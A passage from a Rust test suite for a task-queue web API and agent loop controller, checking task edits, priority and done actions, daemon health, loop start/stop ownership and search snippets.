14885 t.hold_manual(Some("waiting".into()));
14886 q.put(&mut t).unwrap();
14887 let change = |count| {
14888 queue_implementers(
14889 State(ui.clone()),
14890 Path(t.id.clone()),
14891 Ok(Json(ImplementersBody {
14892 implementers: count,
14893 })),
14894 )
14895 };
14896 for count in [2, 1, 2] {
14897 let response = change(count).await.unwrap();
14898 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14899 let saved = q.get(&t.id).unwrap();
14900 assert_eq!(saved.implementers(), Some(usize::from(count)));
14901 assert_eq!(saved.runs, t.runs);
14902 assert_eq!(saved.instruction, t.instruction);
14903 }
14904 for count in [0, 4] {
14905 assert_eq!(
14906 change(count).await.err().unwrap().status,
14907 StatusCode::BAD_REQUEST
14908 );
14909 }
14910 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14911 let claim = q.claim(&t.id).unwrap();
14912 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14913 drop(claim);
14914 for status in [
14915 TaskStatus::Running,
14916 TaskStatus::Done,
14917 TaskStatus::Failed,
14918 TaskStatus::Blocked,
14919 TaskStatus::Parked,
14920 ] {
14921 let mut stored = q.get(&t.id).unwrap();
14922 stored.status = status;
14923 q.put(&mut stored).unwrap();
14924 assert_eq!(
14925 change(1).await.err().unwrap().status,
14926 StatusCode::BAD_REQUEST
14927 );
14928 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14929 }
14930 }
14931
14932 #[tokio::test]
14933 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14934 let f = Fixture::start().await;
14935 let queue = f.queue();
14936 let mut task = Task::new(
14937 "in flight".to_owned(),
14938 "x".to_owned(),
14939 PathBuf::from("/repo/magi"),
14940 Source::Human,
14941 );
14942 task.start("20260902-140502-bbbb".to_owned());
14943 queue.put(&mut task).expect("file the task");
14944
14945 let res = f
14946 .post(
14947 &format!("/api/queue/{}/priority", task.id),
14948 Some(r#"{"priority":9}"#),
14949 )
14950 .await;
14951 assert_eq!(res.status, 400, "{}", res.body);
14952 assert!(
14953 res.json()["error"]
14954 .as_str()
14955 .is_some_and(|e| e.contains("running")),
14956 "{}",
14957 res.body
14958 );
14959 assert_eq!(
14960 queue.get(&task.id).expect("reload").priority,
14961 0,
14962 "the refused write must not partially apply"
14963 );
14964 }
14965
14966 #[tokio::test]
14967 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14968 let f = Fixture::start().await;
14969 let queue = f.queue();
14970 let mut task = Task::new(
14971 "old title".to_owned(),
14972 "old instruction".to_owned(),
14973 PathBuf::from("/repo/magi"),
14974 Source::Agent {
14975 run: "20260101-000000-beef".to_owned(),
14976 node: "implement".to_owned(),
14977 },
14978 );
14979 task.runs.push("20260101-000000-beef".to_owned());
14980 queue.put(&mut task).expect("file the task");
14981 let created_at = task.created_at;
14982
14983 let edited = f
14984 .post(
14985 &format!("/api/queue/{}/edit", task.id),
14986 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14987 )
14988 .await;
14989 assert_eq!(edited.status, 200, "{}", edited.body);
14990 let body = edited.json();
14991 assert_eq!(body["title"], "new title");
14992 assert_eq!(body["instruction"], "new instruction");
14993 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14994 assert_eq!(body["created_at"], created_at.to_string());
14995 assert_eq!(
14996 body["source"]["kind"], "agent",
14997 "editing a task an agent filed must not turn it human: {body}"
14998 );
14999 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15000
15001 let reloaded = queue.get(&task.id).expect("reload");
15002 assert_eq!(reloaded.title, "new title");
15003 assert_eq!(reloaded.instruction, "new instruction");
15004 }
15005
15006 #[tokio::test]
15007 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15008 let tmp = TempDir::new().expect("tempdir");
15011 let repo = tmp.path().join("repo");
15012 std::fs::create_dir_all(&repo).expect("repo dir");
15013 let judge = MOCK_AGENT_TOML.replace(
15014 "printf ok",
15015 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15016 );
15017 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15018 let f = Fixture::with_repo(repo.clone()).await;
15019 let queue = f.queue();
15020 let mut owner = Task::new(
15021 "owner".to_owned(),
15022 "review it".to_owned(),
15023 repo.clone(),
15024 Source::Human,
15025 );
15026 owner.review_branch = Some("magi/ab12/A".to_owned());
15027 queue.put(&mut owner).expect("file the owner");
15028 let mut task = Task::new(
15029 "draft".to_owned(),
15030 "old".to_owned(),
15031 repo.clone(),
15032 Source::Human,
15033 );
15034 queue.put(&mut task).expect("file the draft");
15035 let url = format!("/api/queue/{}/edit", task.id);
15036
15037 let refused = f
15038 .post(
15039 &url,
15040 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15041 )
15042 .await;
15043 assert_eq!(refused.status, 409, "{}", refused.body);
15044 let msg = refused.json()["error"]
15045 .as_str()
15046 .unwrap_or_default()
15047 .to_owned();
15048 assert!(
15049 msg.contains("magi/ab12/A") && msg.contains("force"),
15050 "{msg}"
15051 );
15052 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15053
15054 let forced = f
15055 .post(
15056 &url,
15057 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15058 )
15059 .await;
15060 assert_eq!(forced.status, 200, "{}", forced.body);
15061 }
15062
15063 #[tokio::test]
15064 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15065 let f = Fixture::start().await;
15066 let queue = f.queue();
15067 let mut task = Task::new(
15068 "in flight".to_owned(),
15069 "do not touch".to_owned(),
15070 PathBuf::from("/repo/magi"),
15071 Source::Human,
15072 );
15073 task.start("20260902-140502-bbbb".to_owned());
15074 queue.put(&mut task).expect("file the task");
15075
15076 let res = f
15077 .post(
15078 &format!("/api/queue/{}/edit", task.id),
15079 Some(r#"{"title":"x","instruction":"y"}"#),
15080 )
15081 .await;
15082 assert_eq!(res.status, 400, "{}", res.body);
15083 assert!(
15084 res.json()["error"]
15085 .as_str()
15086 .is_some_and(|e| e.contains("running")),
15087 "{}",
15088 res.body
15089 );
15090 assert_eq!(
15091 queue.get(&task.id).expect("reload").instruction,
15092 "do not touch",
15093 "the refused edit must not change the file"
15094 );
15095 }
15096
15097 #[tokio::test]
15098 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15099 let f = Fixture::start().await;
15100 let queue = f.queue();
15101 let mut task = Task::new(
15102 "busy".to_owned(),
15103 "Running right now".to_owned(),
15104 PathBuf::from("/repo/magi"),
15105 Source::Human,
15106 );
15107 queue.put(&mut task).expect("file the task");
15108 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15109
15110 let priority = f
15111 .post(
15112 &format!("/api/queue/{}/priority", task.id),
15113 Some(r#"{"priority":9}"#),
15114 )
15115 .await;
15116 assert_eq!(priority.status, 409, "{}", priority.body);
15117
15118 let edit = f
15119 .post(
15120 &format!("/api/queue/{}/edit", task.id),
15121 Some(r#"{"title":"x","instruction":"y"}"#),
15122 )
15123 .await;
15124 assert_eq!(edit.status, 409, "{}", edit.body);
15125 }
15126
15127 #[tokio::test]
15128 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15129 let f = Fixture::start().await;
15130 let queue = f.queue();
15131 let mut task = Task::new(
15132 "shipped by hand".to_owned(),
15133 "merged outside the loop".to_owned(),
15134 PathBuf::from("/repo/magi"),
15135 Source::Agent {
15136 run: "20260101-000000-b455".to_owned(),
15137 node: "implement".to_owned(),
15138 },
15139 );
15140 task.runs.push("20260101-000000-b455".to_owned());
15141 task.runs.push("20260101-000000-9af4".to_owned());
15142 queue.put(&mut task).expect("file the task");
15143 let created_at = task.created_at;
15144
15145 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15146 assert_eq!(done.status, 200, "{}", done.body);
15147 assert_eq!(done.json()["status_str"], "done");
15148
15149 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15150 assert_eq!(
15151 reloaded.runs,
15152 ["20260101-000000-b455", "20260101-000000-9af4"]
15153 );
15154 assert_eq!(
15155 reloaded.source,
15156 Source::Agent {
15157 run: "20260101-000000-b455".to_owned(),
15158 node: "implement".to_owned(),
15159 }
15160 );
15161 assert_eq!(reloaded.created_at, created_at);
15162 }
15163
15164 #[tokio::test]
15165 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15166 let f = Fixture::start().await;
15171 let queue = f.queue();
15172 let mut task = Task::new(
15173 "landed while held".to_owned(),
15174 "x".to_owned(),
15175 PathBuf::from("/repo/magi"),
15176 Source::Human,
15177 );
15178 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15179 queue.put(&mut task).expect("file the held task");
15180
15181 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15182 assert_eq!(done.status, 200, "{}", done.body);
15183 assert_eq!(done.json()["status_str"], "done");
15184 assert!(
15185 done.json()["hold_reason"].is_null(),
15186 "a done task cannot still be waiting on something: {}",
15187 done.body
15188 );
15189 }
15190
15191 #[tokio::test]
15192 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15193 let f = Fixture::start().await;
15198 let queue = f.queue();
15199 let runs = f.runs();
15200 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15201 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15205
15206 let mut task = Task::new(
15207 "landed by hand".to_owned(),
15208 "x".to_owned(),
15209 PathBuf::from("/repo/magi"),
15210 Source::Human,
15211 );
15212 task.runs.push("20260101-000000-doa1".to_owned());
15213 task.runs.push("20260101-000000-doa2".to_owned());
15214 queue.put(&mut task).expect("file the task");
15215
15216 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15217 assert_eq!(done.status, 200, "{}", done.body);
15218
15219 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15220 .expect("run still on disk under this fixture's own home");
15221 assert_eq!(
15222 reloaded_run.status,
15223 RunStatus::Superseded,
15224 "closing the task by hand must relabel the earlier blocked attempt exactly \
15225 like the loop's own settle path does"
15226 );
15227 }
15228
15229 #[tokio::test]
15230 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15231 let f = Fixture::start().await;
15236 let queue = f.queue();
15237 let runs = f.runs();
15238 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15239 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15240
15241 let mut task = Task::new(
15242 "closed with nothing actually landed".to_owned(),
15243 "x".to_owned(),
15244 PathBuf::from("/repo/magi"),
15245 Source::Human,
15246 );
15247 task.runs.push("20260101-000000-dob1".to_owned());
15248 task.runs.push("20260101-000000-dob2".to_owned());
15249 queue.put(&mut task).expect("file the task");
15250
15251 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15252 assert_eq!(done.status, 200, "{}", done.body);
15253
15254 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15255 .expect("run still on disk under this fixture's own home");
15256 assert_eq!(
15257 reloaded_run.status,
15258 RunStatus::Blocked,
15259 "the last recorded attempt never landed, so the earlier one must not be \
15260 relabelled as superseded by it"
15261 );
15262 }
15263
15264 #[tokio::test]
15265 async fn unknown_ids_are_json_not_found_on_both_stores() {
15266 let f = Fixture::start().await;
15267
15268 let run = f.get("/api/runs/nosuchrun").await;
15269 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15270
15271 assert_eq!(run.status, 404);
15272 assert_eq!(task.status, 404);
15273 assert!(
15274 run.json()["error"]
15275 .as_str()
15276 .is_some_and(|e| e.contains("run")),
15277 "the error names what was not found: {}",
15278 run.body
15279 );
15280 assert!(
15281 task.json()["error"]
15282 .as_str()
15283 .is_some_and(|e| e.contains("task")),
15284 "the error names what was not found: {}",
15285 task.body
15286 );
15287 }
15288
15289 #[tokio::test]
15290 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15291 let f = Fixture::start().await;
15292
15293 let missing = f.get("/api/health").await.json();
15294 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15295
15296 write_daemon(
15297 f.home.path(),
15298 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15299 );
15300 let stale = f.get("/api/health").await.json();
15301 assert_eq!(
15302 stale["daemon"]["running"], false,
15303 "a minute without a heartbeat is a dead daemon, not a busy one"
15304 );
15305 assert!(
15306 stale["daemon"]["stale_for_secs"]
15307 .as_i64()
15308 .is_some_and(|s| s >= 55),
15309 "staleness is reported so the UI can say how long: {stale}"
15310 );
15311
15312 write_daemon(f.home.path(), Timestamp::now());
15313 let fresh = f.get("/api/health").await.json();
15314 assert_eq!(fresh["daemon"]["running"], true);
15315 assert_eq!(fresh["daemon"]["idle"], false);
15316 assert_eq!(fresh["daemon"]["pid"], 4242);
15317 assert_eq!(fresh["daemon"]["completed"], 7);
15318 assert_eq!(
15319 fresh["daemon"]["current"][0]["task"],
15320 "20260902-140501-aaaa"
15321 );
15322 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15323 }
15324
15325 #[tokio::test]
15326 async fn the_loop_is_not_running_until_something_starts_it() {
15327 let f = Fixture::start().await;
15328
15329 let view = f.get("/api/loop").await.json();
15330 assert_eq!(view["running"], false);
15331 assert_eq!(
15332 view["owned"], false,
15333 "nobody owns a loop that does not exist: {view}"
15334 );
15335 assert_eq!(view["stopping"], false);
15336 assert_eq!(view["last_error"], Value::Null);
15337 assert_eq!(view["daemon"]["running"], false);
15338 assert_eq!(
15339 view["repo"], "/repo/magi",
15340 "the repository a start would use, named before it is started"
15341 );
15342 }
15343
15344 #[tokio::test]
15345 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15346 let f = Fixture::start().await;
15347
15348 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15349 assert_eq!(res.status, 200, "{}", res.body);
15350 let view = res.json();
15351 assert_eq!(view["running"], true);
15352 assert_eq!(
15353 view["owned"], true,
15354 "the loop the UI started is the UI's own to stop: {view}"
15355 );
15356 assert_eq!(
15357 view["merge"],
15358 Value::Null,
15359 "no override was given, so each repository's own config decides"
15360 );
15361
15362 let health = f.get("/api/health").await.json();
15366 assert_eq!(health["loop"]["running"], true, "{health}");
15367 assert_eq!(health["loop"]["owned"], true, "{health}");
15368
15369 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15370 }
15371
15372 #[tokio::test]
15373 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15374 let f = Fixture::start().await;
15375 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15376 assert_eq!(first.status, 200, "{}", first.body);
15377
15378 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15379 assert_eq!(
15380 again.status, 409,
15381 "two loops on one queue race for the same claims: {}",
15382 again.body
15383 );
15384 assert!(
15385 again.json()["error"]
15386 .as_str()
15387 .is_some_and(|e| e.contains("already running the loop")),
15388 "the refusal has to say why: {}",
15389 again.body
15390 );
15391 assert_eq!(
15392 f.get("/api/loop").await.json()["running"],
15393 true,
15394 "and the loop that was already running is untouched by it"
15395 );
15396
15397 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15398 }
15399
15400 #[tokio::test]
15401 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15402 let f = Fixture::start().await;
15403 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15404
15405 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15406 assert_eq!(
15407 res.status, 200,
15408 "the answer must not wait for the loop: a run in flight is tens of \
15409 minutes and the operator is holding a phone: {}",
15410 res.body
15411 );
15412
15413 let view = settled(&f, |v| v["running"] == false).await;
15414 assert_eq!(view["owned"], false);
15415 assert_eq!(
15416 view["stopping"], false,
15417 "a loop that has stopped is not still stopping: {view}"
15418 );
15419 assert_eq!(
15420 view["last_error"],
15421 Value::Null,
15422 "a loop that was asked to stop did not fail: {view}"
15423 );
15424
15425 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15428 assert_eq!(twice.status, 200, "{}", twice.body);
15429 }
15430
15431 #[tokio::test]
15432 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15433 let f = Fixture::start().await;
15434 write_daemon(f.home.path(), Timestamp::now());
15437
15438 let view = f.get("/api/loop").await.json();
15439 assert_eq!(view["running"], false, "not in this process: {view}");
15440 assert_eq!(view["owned"], false, "and not this process's to control");
15441 assert_eq!(
15442 view["daemon"]["running"], true,
15443 "but a loop is alive somewhere, which is what the UI must say"
15444 );
15445 assert_eq!(view["daemon"]["pid"], 4242);
15446
15447 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15448 let res = f.post("/api/loop", Some(body)).await;
15449 assert_eq!(
15450 res.status, 409,
15451 "neither button may pretend to work on someone else's loop: {}",
15452 res.body
15453 );
15454 assert!(
15455 res.json()["error"]
15456 .as_str()
15457 .is_some_and(|e| e.contains("4242")),
15458 "the refusal has to name the process the operator must go to: {}",
15459 res.body
15460 );
15461 }
15462 assert_eq!(
15463 f.get("/api/loop").await.json()["running"],
15464 false,
15465 "and the refusal started nothing"
15466 );
15467 }
15468
15469 #[tokio::test]
15470 async fn a_stale_status_file_is_not_a_foreign_owner() {
15471 let f = Fixture::start().await;
15472 write_daemon(
15473 f.home.path(),
15474 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15475 );
15476
15477 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15478 assert_eq!(
15479 res.status, 200,
15480 "a daemon killed a minute ago must not lock the loop out of its \
15481 own home for good: {}",
15482 res.body
15483 );
15484 assert_eq!(res.json()["running"], true);
15485
15486 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15487 }
15488
15489 #[tokio::test]
15490 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15491 let f = Fixture::start().await;
15492 let before = f.get("/api/health").await.json()["loop_rev"]
15493 .as_u64()
15494 .expect("a loop revision");
15495
15496 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15497
15498 let after = f.get("/api/health").await.json()["loop_rev"]
15499 .as_u64()
15500 .expect("a loop revision");
15501 assert!(
15502 after > before,
15503 "the loop is in-process state, so this counter is the only thing \
15504 that tells a second device the first one started it: {before} -> \
15505 {after}"
15506 );
15507
15508 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15509 }
15510
15511 #[tokio::test]
15512 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15513 let f = Fixture::with_loop(launch_broken).await;
15514
15515 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15516 assert_eq!(
15517 res.status, 200,
15518 "starting it is not the failure: {}",
15519 res.body
15520 );
15521
15522 let view = settled(&f, |v| v["last_error"].is_string()).await;
15523 assert_eq!(
15524 view["running"], false,
15525 "a loop that died must not read as running, or the operator has \
15526 nothing to press: {view}"
15527 );
15528 assert_eq!(view["owned"], false);
15529 assert!(
15530 view["last_error"]
15531 .as_str()
15532 .is_some_and(|e| e.contains("read-only file system")),
15533 "the phone is where a loop that died at 3am is visible: {view}"
15534 );
15535
15536 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15539 assert_eq!(again.status, 200, "{}", again.body);
15540 assert!(
15541 again.json()["last_error"]
15542 .as_str()
15543 .is_none_or(|e| !e.contains("read-only file system")),
15544 "a fresh start does not keep showing why the last one died: {}",
15545 again.body
15546 );
15547 }
15548
15549 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15561 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15562 let home = TempDir::new().expect("temp home");
15563 let runs = home.path().join("runs");
15564 std::fs::create_dir_all(&runs).expect("runs dir");
15565 let ui = Ui::new(
15566 Queue::at(home.path().join("queue")),
15567 Questions::at(home.path().join("questions")),
15568 Talks::at(home.path().join("talks")),
15569 runs,
15570 home.path().to_path_buf(),
15571 PathBuf::from("/repo/magi"),
15572 )
15573 .with_worktrees_root(home.path().join("wt"))
15574 .with_launch(launch_knocking_on_the_way_out);
15575 let looping = ui.looping();
15576 let turns = ui.turns();
15577 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15578 .await
15579 .expect("bind loopback");
15580 let addr = listener.local_addr().expect("local addr");
15581 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15582 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15583
15584 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15585 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15586
15587 let bound = std::sync::Mutex::new(None);
15602 hand_over(
15603 home.path(),
15604 &looping,
15605 &turns,
15606 &|_: &[String]| Duration::from_secs(5),
15607 served,
15608 |_| {
15609 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15610 let attempt = loop {
15611 match std::net::TcpListener::bind(addr) {
15612 Ok(l) => {
15613 drop(l);
15614 break Ok(());
15615 }
15616 Err(e)
15617 if e.kind() == std::io::ErrorKind::AddrInUse
15618 && std::time::Instant::now() < deadline =>
15619 {
15620 std::thread::sleep(std::time::Duration::from_millis(10));
15621 }
15622 Err(e) => break Err(e.to_string()),
15623 }
15624 };
15625 *bound.lock().expect("bound") = Some(attempt);
15626 Ok(1)
15627 },
15628 )
15629 .await
15630 .expect("hand over");
15631
15632 assert_eq!(
15633 *PARK_HEARD.lock().expect("park heard"),
15634 Some(200),
15635 "the deck must answer while the loop is parking"
15636 );
15637 let attempt = bound
15638 .lock()
15639 .expect("bound")
15640 .take()
15641 .expect("the successor was started");
15642 assert!(
15643 attempt.is_ok(),
15644 "and the address must be free by the time it is: {attempt:?}"
15645 );
15646 }
15647
15648 #[tokio::test]
15649 async fn a_newer_daemon_status_file_still_renders() {
15650 let f = Fixture::start().await;
15651 std::fs::write(
15654 f.home.path().join("daemon.json"),
15655 serde_json::json!({
15656 "schema": 2,
15657 "updated_at": Timestamp::now().to_string(),
15658 "idle": true,
15659 "surprise": { "nested": [1, 2, 3] },
15660 })
15661 .to_string(),
15662 )
15663 .expect("write daemon.json");
15664
15665 let health = f.get("/api/health").await;
15666
15667 assert_eq!(health.status, 200);
15668 assert_eq!(health.json()["daemon"]["running"], true);
15669 }
15670
15671 #[tokio::test]
15672 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15673 let f = Fixture::start().await;
15674 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15675 let broken = f.runs().join("20260902-140502-bad");
15676 std::fs::create_dir_all(&broken).expect("run dir");
15677 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15678
15679 let list = f.get("/api/runs").await;
15680 let detail = f.get("/api/runs/20260902-140502-bad").await;
15681
15682 assert_eq!(list.status, 200);
15683 let listed = list.json();
15684 let ids: Vec<&str> = listed
15685 .as_array()
15686 .expect("an array")
15687 .iter()
15688 .map(|r| r["id"].as_str().expect("an id"))
15689 .collect();
15690 assert_eq!(
15691 ids,
15692 vec!["20260902-140501-good"],
15693 "one unreadable run must not cost the operator the whole history"
15694 );
15695 assert_eq!(detail.status, 500);
15696 assert!(
15697 detail.json()["error"]
15698 .as_str()
15699 .is_some_and(|e| e.contains("run.json")),
15700 "the failure names the file to look at: {}",
15701 detail.body
15702 );
15703 let health = f.get("/api/health").await;
15707 assert_eq!(health.json()["runs_unreadable"], 1);
15708 }
15709
15710 #[tokio::test]
15712 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15713 let f = Fixture::start().await;
15714 let runs = f.runs();
15715 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15716 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15717 let path = runs.join("20260902-140502-bbbb").join("run.json");
15720 let mut v: serde_json::Value =
15721 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15722 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15723 std::fs::write(&path, v.to_string()).unwrap();
15724 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15725 std::fs::write(
15726 runs.join("20260902-140503-cccc").join("run.json"),
15727 "{ not json",
15728 )
15729 .unwrap();
15730
15731 let res = f.get("/api/search?scope=runs&q=quokka").await;
15732 assert_eq!(res.status, 200, "{}", res.body);
15733 let v = res.json();
15734 assert_eq!(v["total"], 1, "{v}");
15735 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15736 assert_eq!(v["hits"][0]["field"], "text");
15737 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15738 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15739 assert!(
15740 parts
15741 .iter()
15742 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15743 "{v}"
15744 );
15745 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15746 assert_eq!(
15747 flat, "The Quokka leaks across threads",
15748 "whitespace is collapsed"
15749 );
15750
15751 let both = f
15753 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15754 .await
15755 .json();
15756 assert_eq!(both["total"], 1, "{both}");
15757 let neither = f
15758 .get("/api/search?scope=runs&q=quokka%20zebra")
15759 .await
15760 .json();
15761 assert_eq!(neither["total"], 0, "{neither}");
15762 let stmt = f
15764 .get("/api/search?scope=runs&q=mobile%20first")
15765 .await
15766 .json();
15767 assert_eq!(stmt["total"], 2, "{stmt}");
15768 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15769 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15770 }
15771
15772 #[test]
15773 fn snippet_ignores_terms_longer_than_the_field() {
15774 let terms = ["ok".to_owned(), "elephant".to_owned()];
15775 let parts = snippet_of("ok", &terms);
15776 assert_eq!(
15777 parts,
15778 vec![SnippetPart {
15779 text: "ok".to_owned(),
15780 hit: true
15781 }]
15782 );
15783 }
15784
15785 #[test]
15786 fn snippet_marks_matches_longer_than_the_window() {
15787 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15788 let hit_len = |parts: &[SnippetPart]| -> usize {
15789 parts
15790 .iter()
15791 .filter(|p| p.hit)
15792 .map(|p| p.text.chars().count())
15793 .sum()
15794 };
15795 let total =
15796 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15797
15798 let long = "a".repeat(120);
15799 let parts = snippet_of(&long, std::slice::from_ref(&long));
15800 assert!(hit_len(&parts) > 0, "{parts:?}");
15801 assert!(total(&parts) <= cap);
15802
15803 let ja = "あ".repeat(130);
15804 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15805 assert!(hit_len(&parts) > 0, "{parts:?}");
15806 assert!(total(&parts) <= cap);
15807
15808 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15810 let term = format!("ab{}", "c".repeat(100));
15811 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15812 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15813 assert!(total(&parts) <= cap);
15814
15815 let text = format!("{}z", "a".repeat(119));
15817 let parts = snippet_of(&text, &["a".repeat(120)]);
15818 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15819 }
15820
15821 #[tokio::test]
15822 async fn search_caps_hits_and_snippet_length() {
15823 let f = Fixture::start().await;
15824 let runs = f.runs();
15825 for n in 0..(SEARCH_MAX_HITS + 5) {
15826 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15827 }
15828 let v = f.get("/api/search?scope=runs&q=web").await.json();
15829 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15830 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15831 assert_eq!(v["truncated"], true);
15832 assert!(
15834 v["hits"]
15835 .as_array()
15836 .unwrap()
15837 .iter()
15838 .all(|h| h["run"]["status"] == "merged")
15839 );
15840
15841 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15842 let parts = snippet_of(&long, &["needle".to_owned()]);
15843 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15844 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15845 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15846 }
15847
15848 #[tokio::test]
15849 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15850 let f = Fixture::start().await;
15851 let queue = f.queue();
15852 let mut t = Task::new(
15853 "short title".to_owned(),
15854 "line one\nthe hidden Armadillo detail".to_owned(),
15855 PathBuf::from("/repo/magi"),
15856 Source::Agent {
15857 run: "r1".to_owned(),
15858 node: "chat".to_owned(),
15859 },
15860 );
15861 t.last_error = Some("disk full on /tmp".to_owned());
15862 queue.put(&mut t).expect("file the task");
15863
15864 for (q, want) in [
15865 ("armadillo", 1),
15866 ("disk%20FULL", 1),
15867 ("chat", 1),
15868 ("queued", 1),
15869 ("short%20nothing", 0),
15870 ] {
15871 let v = f
15872 .get(&format!("/api/search?scope=tasks&q={q}"))
15873 .await
15874 .json();
15875 assert_eq!(v["total"], want, "{q}: {v}");
15876 }
15877 for bad in [
15878 "/api/search?scope=tasks&q=",
15879 "/api/search?scope=tasks&q=%20",
15880 "/api/search?scope=chats&q=",
15881 "/api/search?scope=chats&q=%20",
15882 "/api/search?scope=nope&q=a",
15883 "/api/search?q=a",
15884 ] {
15885 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15886 }
15887 }
15888
15889 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15891 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15892 .expect("seat value");
15893 let turns: Vec<serde_json::Value> = turns
15894 .iter()
